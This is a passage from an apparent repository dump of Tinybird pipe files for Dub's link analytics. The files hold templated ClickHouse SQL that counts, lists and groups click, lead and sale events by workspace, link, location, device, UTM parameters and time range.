{% if defined(country) %} AND se.country = {{ country }} {% end %}\n                {% if defined(region) %} AND se.region = {{ region }} {% end %}\n                {% if defined(city) %} AND se.city = {{ city }} {% end %}\n                {% if defined(device) %} AND se.device = {{ device }} {% end %}\n                {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n                {% if defined(os) %} AND se.os = {{ os }} {% end %}\n                {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n                {% if defined(refererUrl) %}\n                    AND splitByString('?', se.referer_url)[1] = {{ refererUrl }}\n                {% end %}\n                {% if defined(utm_source) %}\n                    AND se.url\n                    LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n                {% end %}\n                {% if defined(utm_medium) %}\n                    AND se.url\n                    LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n                {% end %}\n                {% if defined(utm_campaign) %}\n                    AND se.url\n                    LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n                {% end %}\n                {% if defined(utm_term) %}\n                    AND se.url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n                {% end %}\n                {% if defined(utm_content) %}\n                    AND se.url\n                    LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n                {% end %}\n                {% if defined(url) %} AND se.url = {{ url }} {% end %}\n                {% if defined(start) %} AND se.timestamp >= {{ DateTime64(start) }} {% end %}\n                {% if defined(end) %} AND se.timestamp <= {{ DateTime64(end) }} {% end %}\n            GROUP BY pl.program_id\n            ORDER BY saleAmount DESC\n            LIMIT 5000\n\n\n\nNODE top_programs_composite\nSQL >\n\n    SELECT c.programId as programId, clicks, leads, sales, saleAmount\n    FROM top_programs_clicks AS c\n    LEFT JOIN top_programs_leads AS l ON c.programId = l.programId\n    LEFT JOIN top_programs_sales AS s ON c.programId = s.programId\n    ORDER BY saleAmount DESC\n\n\n\nNODE endpoint\nSQL >\n\n    %\n        SELECT *\n        FROM\n            {% if eventType == 'clicks' %} top_programs_clicks\n            {% elif eventType == 'leads' %} top_programs_leads\n            {% elif eventType == 'composite' %} top_programs_composite\n            {% else %} top_programs_sales\n            {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v3_count.pipe",
    "content": "DESCRIPTION >\n\tTop countries\n\n\nTAGS \"Dub Endpoints\"\n\nNODE workspace_links\nSQL >\n\n%\nSELECT link_id\nFROM dub_links_metadata_latest FINAL\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\n    AND deleted == 0\n    {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n    {% if defined(partnerId) %} AND partner_id = {{ partnerId }} {% end %}\n    {% if defined(groupId) %} AND partner_group_id = {{ groupId }} {% end %}\n    {% if defined(tenantId) %} AND tenant_id = {{ tenantId }} {% end %}\n    {% if defined(folderIds) %} AND folder_id IN {{ Array(folderIds, 'String') }}\n    {% elif defined(folderId) %} AND folder_id = {{ folderId }}\n    {% end %}\n    {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n    {% if defined(tagIds) %}\n        AND arrayIntersect(tag_ids, {{ Array(tagIds, 'String') }}) != []\n    {% end %}\n    {% if defined(root) %}\n        {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n    {% end %}\n\n\n\nNODE count_clicks\nSQL >\n\n%\nSELECT 'count' as groupByField, COUNT(*) as clicks\nFROM\n    {% if defined(customerId) %} dub_click_events_id\n    {% else %} dub_click_events_mv\n    {% end %}\n    {% if defined(customerId) %}\n        PREWHERE click_id IN (\n            SELECT DISTINCT click_id\n            FROM dub_lead_events_mv\n            WHERE customer_id = {{ String(customerId) }}\n        )\n    {% end %}\nWHERE\n    true\n    {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n    {% if defined(linkIds) %} AND link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND link_id = {{ linkId }}\n    {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n        tenantId\n    ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n        tagIds\n    ) or defined(\n        root\n    ) %} AND link_id in (SELECT link_id from workspace_links)\n    {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\n\n\n\nNODE count_leads\nSQL >\n\n%\nSELECT 'count' as groupByField, COUNT(*) as leads\nFROM dub_lead_events_mv\nWHERE\n    true\n    {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n    {% if defined(linkIds) %} AND link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND link_id = {{ linkId }}\n    {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n        tenantId\n    ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n        tagIds\n    ) or defined(\n        root\n    ) %} AND link_id in (SELECT link_id from workspace_links)\n    {% end %}\n    {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime(end) }} {% end %}\n    {% if defined(filters) %}\n        {% for item in JSON(filters, '[]') %}\n            {% if item.get('operand', '').startswith('metadata.') %}\n                {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                {% set operator = item.get('operator', 'equals') %}\n                {% set value = item.get('value', '') %}\n                {% if operator == 'equals' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                {% elif operator == 'notEquals' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                {% elif operator == 'greaterThan' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) > {{ value }}\n                {% elif operator == 'lessThan' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) < {{ value }}\n                {% elif operator == 'greaterThanOrEqual' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) >= {{ value }}\n                {% elif operator == 'lessThanOrEqual' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) <= {{ value }}\n                {% end %}\n            {% end %}\n        {% end %}\n    {% end %}\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n%\nSELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\nFROM dub_first_sale_mv\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\nGROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE count_sales\nSQL >\n\n%\nSELECT 'count' as groupByField, sales, amount, amount AS saleAmount\nFROM\n(\n    SELECT\n        count() AS sales,\n        sum(amount) AS amount\n    FROM\n    (\n        SELECT\n            se.amount,\n            if(\n                isNull(fs.first_sale_ts),\n                'new',\n                if(\n                    toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                    'new',\n                    'recurring'\n                )\n            ) AS sale_type\n        FROM dub_sale_events_mv AS se\n        LEFT JOIN first_sale_by_link_customer AS fs\n            USING (workspace_id, link_id, customer_id)\n        WHERE\n            true\n            {% if defined(workspaceId) %} AND se.workspace_id = {{ workspaceId }} {% end %}\n            {% if defined(linkIds) %} AND se.link_id IN {{ Array(linkIds, 'String') }}\n            {% elif defined(linkId) %} AND se.link_id = {{ linkId }}\n            {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n                tenantId\n            ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n                tagIds\n            ) or defined(\n                root\n            ) %} AND se.link_id in (SELECT link_id from workspace_links)\n            {% end %}\n            {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n            {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n            {% if defined(country) %} AND se.country = {{ country }} {% end %}\n            {% if defined(region) %} AND se.region = {{ region }} {% end %}\n            {% if defined(city) %} AND se.city = {{ city }} {% end %}\n            {% if defined(device) %} AND se.device = {{ device }} {% end %}\n            {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n            {% if defined(os) %} AND se.os = {{ os }} {% end %}\n            {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n            {% if defined(refererUrl) %}\n                AND splitByString('?', se.referer_url)[1] = {{ refererUrl }}\n            {% end %}\n            {% if defined(utm_source) %}\n                AND se.url\n                LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n            {% end %}\n            {% if defined(utm_medium) %}\n                AND se.url\n                LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n            {% end %}\n            {% if defined(utm_campaign) %}\n                AND se.url LIKE concat(\n                    '%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%'\n                )\n            {% end %}\n            {% if defined(utm_term) %}\n                AND se.url\n                LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n            {% end %}\n            {% if defined(utm_content) %}\n                AND se.url\n                LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n            {% end %}\n            {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n            {% if defined(start) %} AND se.timestamp >= {{ DateTime(start) }} {% end %}\n            {% if defined(end) %} AND se.timestamp <= {{ DateTime(end) }} {% end %}\n            {% if defined(filters) %}\n                {% for item in JSON(filters, '[]') %}\n                    {% if item.get('operand', '').startswith('metadata.') %}\n                        {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                        {% set operator = item.get('operator', 'equals') %}\n                        {% set value = item.get('value', '') %}\n                        {% if operator == 'equals' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) = {{ value }}\n                        {% elif operator == 'notEquals' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) != {{ value }}\n                        {% elif operator == 'greaterThan' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) > {{ value }}\n                        {% elif operator == 'lessThan' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) < {{ value }}\n                        {% elif operator == 'greaterThanOrEqual' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) >= {{ value }}\n                        {% elif operator == 'lessThanOrEqual' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) <= {{ value }}\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n    ) AS typed\n    WHERE\n        true\n        {% if defined(saleType) %} AND typed.sale_type = {{ String(saleType) }} {% end %}\n) AS subquery\n\n\n\nNODE count_composite\nSQL >\n\n%\nSELECT 'count' as groupByField, clicks, leads, sales, amount, saleAmount\nFROM count_clicks, count_leads, count_sales\n\n\n\nNODE endpoint\nSQL >\n\n%\nSELECT *\nFROM\n    {% if eventType == 'clicks' %} count_clicks\n    {% elif eventType == 'leads' %} count_leads\n    {% elif eventType == 'sales' %} count_sales\n    {% elif eventType == 'composite' %} count_composite\n    {% else %} count_clicks\n    {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v3_events.pipe",
    "content": "DESCRIPTION >\n\tTop countries\n\n\nTAGS \"Dub Endpoints\"\n\nNODE workspace_links\nSQL >\n\n%\nSELECT link_id\nFROM dub_links_metadata_latest FINAL\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\n    AND deleted == 0\n    {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n    {% if defined(partnerId) %} AND partner_id = {{ partnerId }} {% end %}\n    {% if defined(groupId) %} AND partner_group_id = {{ groupId }} {% end %}\n    {% if defined(tenantId) %} AND tenant_id = {{ tenantId }} {% end %}\n    {% if defined(folderIds) %} AND folder_id IN {{ Array(folderIds, 'String') }}\n    {% elif defined(folderId) %} AND folder_id = {{ folderId }}\n    {% end %}\n    {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n    {% if defined(tagIds) %}\n        AND arrayIntersect(tag_ids, {{ Array(tagIds, 'String') }}) != []\n    {% end %}\n    {% if defined(root) %}\n        {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n    {% end %}\n\n\n\nNODE click_events\nSQL >\n\n%\nSELECT\n    *,\n    splitByString('?', referer_url)[1] as referer_url_processed,\n    CONCAT(country, '-', region) as region_processed,\n    'click' as event\nFROM\n    {% if defined(customerId) %} dub_click_events_id\n    {% else %} dub_click_events_mv\n    {% end %}\n    {% if defined(customerId) %}\n        PREWHERE click_id IN (\n            SELECT DISTINCT click_id\n            FROM dub_lead_events_mv\n            WHERE customer_id = {{ String(customerId) }}\n        )\n    {% end %}\nWHERE\n    true\n    {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n    {% if defined(linkIds) %} AND link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND link_id = {{ linkId }}\n    {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n        tenantId\n    ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n        tagIds\n    ) or defined(\n        root\n    ) %} AND link_id in (SELECT link_id from workspace_links)\n    {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\nORDER BY timestamp {% if order == 'asc' %} ASC {% else %} DESC {% end %}\nLIMIT {{ Int32(limit, 100) }}\n{% if defined(offset) %} OFFSET {{ Int32(offset, 0) }} {% end %}\n\n\n\nNODE lead_events\nSQL >\n\n%\nSELECT\n    *,\n    splitByString('?', referer_url)[1] as referer_url_processed,\n    CONCAT(country, '-', region) as region_processed,\n    'lead' as event\nFROM dub_lead_events_mv\nWHERE\n    true\n    {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n    {% if defined(linkIds) %} AND link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND link_id = {{ linkId }}\n    {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n        tenantId\n    ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n        tagIds\n    ) or defined(\n        root\n    ) %} AND link_id in (SELECT link_id from workspace_links)\n    {% end %}\n    {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime(end) }} {% end %}\n    {% if defined(filters) %}\n        {% for item in JSON(filters, '[]') %}\n            {% if item.get('operand', '').startswith('metadata.') %}\n                {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                {% set operator = item.get('operator', 'equals') %}\n                {% set value = item.get('value', '') %}\n                {% if operator == 'equals' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                {% elif operator == 'notEquals' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                {% elif operator == 'greaterThan' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) > {{ value }}\n                {% elif operator == 'lessThan' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) < {{ value }}\n                {% elif operator == 'greaterThanOrEqual' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) >= {{ value }}\n                {% elif operator == 'lessThanOrEqual' %}\n                    AND JSONExtractString(metadata, {{ metadataKey }}) <= {{ value }}\n                {% end %}\n            {% end %}\n        {% end %}\n    {% end %}\nORDER BY timestamp {% if order == 'asc' %} ASC {% else %} DESC {% end %}\nLIMIT {{ Int32(limit, 100) }}\n{% if defined(offset) %} OFFSET {{ Int32(offset, 0) }} {% end %}\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n%\nSELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\nFROM dub_first_sale_mv\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\nGROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE sale_events\nSQL >\n\n%\nSELECT\n    t.*,\n    t.amount AS saleAmount,\n    CONCAT(t.country, '-', t.region) AS region_processed,\n    splitByString('?', t.referer_url)[1] AS referer_url_processed,\n    'sale' AS event\nFROM\n    (\n        SELECT\n            se.*,\n            if(\n                isNull (fs.first_sale_ts),\n                'new',\n                if(\n                    toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                    'new',\n                    'recurring'\n                )\n            ) AS sale_type\n        FROM dub_sale_events_mv AS se\n        LEFT JOIN first_sale_by_link_customer AS fs USING (workspace_id, link_id, customer_id)\n        WHERE\n            true\n            {% if defined(workspaceId) %} AND se.workspace_id = {{ workspaceId }} {% end %}\n            {% if defined(linkIds) %} AND se.link_id IN {{ Array(linkIds, 'String') }}\n            {% elif defined(linkId) %} AND se.link_id = {{ linkId }}\n            {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n                tenantId\n            ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n                tagIds\n            ) or defined(\n                root\n            ) %} AND se.link_id in (SELECT link_id from workspace_links)\n            {% end %}\n            {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n            {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n            {% if defined(country) %} AND se.country = {{ country }} {% end %}\n            {% if defined(region) %} AND se.region = {{ region }} {% end %}\n            {% if defined(city) %} AND se.city = {{ city }} {% end %}\n            {% if defined(device) %} AND se.device = {{ device }} {% end %}\n            {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n            {% if defined(os) %} AND se.os = {{ os }} {% end %}\n            {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n            {% if defined(refererUrl) %}\n                AND splitByString('?', se.referer_url)[1] = {{ refererUrl }}\n            {% end %}\n            {% if defined(utm_source) %}\n                AND se.url\n                LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n            {% end %}\n            {% if defined(utm_medium) %}\n                AND se.url\n                LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n            {% end %}\n            {% if defined(utm_campaign) %}\n                AND se.url LIKE concat(\n                    '%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%'\n                )\n            {% end %}\n            {% if defined(utm_term) %}\n                AND se.url\n                LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n            {% end %}\n            {% if defined(utm_content) %}\n                AND se.url\n                LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n            {% end %}\n            {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n            {% if defined(start) %} AND se.timestamp >= {{ DateTime(start) }} {% end %}\n            {% if defined(end) %} AND se.timestamp <= {{ DateTime(end) }} {% end %}\n\n            {% if defined(filters) %}\n                {% for item in JSON(filters, '[]') %}\n                    {% if item.get('operand', '').startswith('metadata.') %}\n                        {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                        {% set operator = item.get('operator', 'equals') %}\n                        {% set value = item.get('value', '') %}\n                        {% if operator == 'equals' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) = {{ value }}\n                        {% elif operator == 'notEquals' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) != {{ value }}\n                        {% elif operator == 'greaterThan' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) > {{ value }}\n                        {% elif operator == 'lessThan' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) < {{ value }}\n                        {% elif operator == 'greaterThanOrEqual' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) >= {{ value }}\n                        {% elif operator == 'lessThanOrEqual' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) <= {{ value }}\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n\n    ) AS t\nWHERE true {% if defined(saleType) %} AND t.sale_type = {{ String(saleType) }} {% end %}\nORDER BY t.timestamp {% if order == 'asc' %} ASC {% else %} DESC {% end %}\nLIMIT {{ Int32(limit, 100) }}\n{% if defined(offset) %} OFFSET {{ Int32(offset, 0) }} {% end %}\n\n\n\nNODE endpoint\nSQL >\n\n%\nSELECT *\nFROM\n    {% if eventType == 'leads' %} lead_events\n    {% elif eventType == 'sales' %} sale_events\n    {% else %} click_events\n    {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v3_group_by.pipe",
    "content": "DESCRIPTION >\n\tTop countries\n\n\nTAGS \"Dub Endpoints\"\n\nNODE workspace_links\nSQL >\n\n%\nSELECT link_id\nFROM dub_links_metadata_latest FINAL\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\n    AND deleted == 0\n    {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n    {% if defined(partnerId) %} AND partner_id = {{ partnerId }} {% end %}\n    {% if defined(groupId) %} AND partner_group_id = {{ groupId }} {% end %}\n    {% if defined(tenantId) %} AND tenant_id = {{ tenantId }} {% end %}\n    {% if defined(folderIds) %} AND folder_id IN {{ Array(folderIds, 'String') }}\n    {% elif defined(folderId) %} AND folder_id = {{ folderId }}\n    {% end %}\n    {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n    {% if defined(tagIds) %}\n        AND arrayIntersect(tag_ids, {{ Array(tagIds, 'String') }}) != []\n    {% end %}\n    {% if defined(root) %}\n        {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n    {% end %}\n\n\n\nNODE group_by_clicks\nSQL >\n\n%\nSELECT\n    multiIf(\n        {{ String(groupBy) }} = 'top_links',\n        link_id,\n        {{ String(groupBy) }} = 'top_urls',\n        url,\n        {{ String(groupBy) }} = 'top_base_urls',\n        splitByString('?', url)[1],\n        {{ String(groupBy) }} = 'referers',\n        referer,\n        {{ String(groupBy) }} = 'referer_urls',\n        splitByString('?', referer_url)[1],\n        {{ String(groupBy) }} = 'utm_sources',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_source')),\n        {{ String(groupBy) }} = 'utm_mediums',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_medium')),\n        {{ String(groupBy) }} = 'utm_campaigns',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_campaign')),\n        {{ String(groupBy) }} = 'utm_terms',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_term')),\n        {{ String(groupBy) }} = 'utm_contents',\n        decodeURLFormComponent(extractURLParameter(url, 'utm_content')),\n        {{ String(groupBy) }} = 'ref',\n        decodeURLFormComponent(extractURLParameter(url, 'ref')),\n        {{ String(groupBy) }} = 'countries',\n        country,\n        {{ String(groupBy) }} = 'regions',\n        CONCAT(country, '-', region) as region,\n        {{ String(groupBy) }} = 'cities',\n        city,\n        {{ String(groupBy) }} = 'continents',\n        continent,\n        {{ String(groupBy) }} = 'devices',\n        device,\n        {{ String(groupBy) }} = 'browsers',\n        browser,\n        {{ String(groupBy) }} = 'os',\n        os,\n        {{ String(groupBy) }} = 'triggers',\n        trigger,\n        link_id\n    ) AS groupByField,\n    {% if String(groupBy) == 'cities' %} country, CONCAT(country, '-', region) as region,\n    {% elif String(groupBy) == 'regions' %} country,\n    {% end %}\n    COUNT(*) AS clicks\nFROM\n    {% if defined(customerId) %} dub_click_events_id\n    {% else %} dub_click_events_mv\n    {% end %}\n    {% if defined(customerId) %}\n        PREWHERE click_id IN (\n            SELECT DISTINCT click_id\n            FROM dub_lead_events_mv\n            WHERE customer_id = {{ String(customerId) }}\n        )\n    {% end %}\nWHERE\n    groupByField != '' AND groupByField != 'Unknown'\n    {% if defined(workspaceId) %} AND 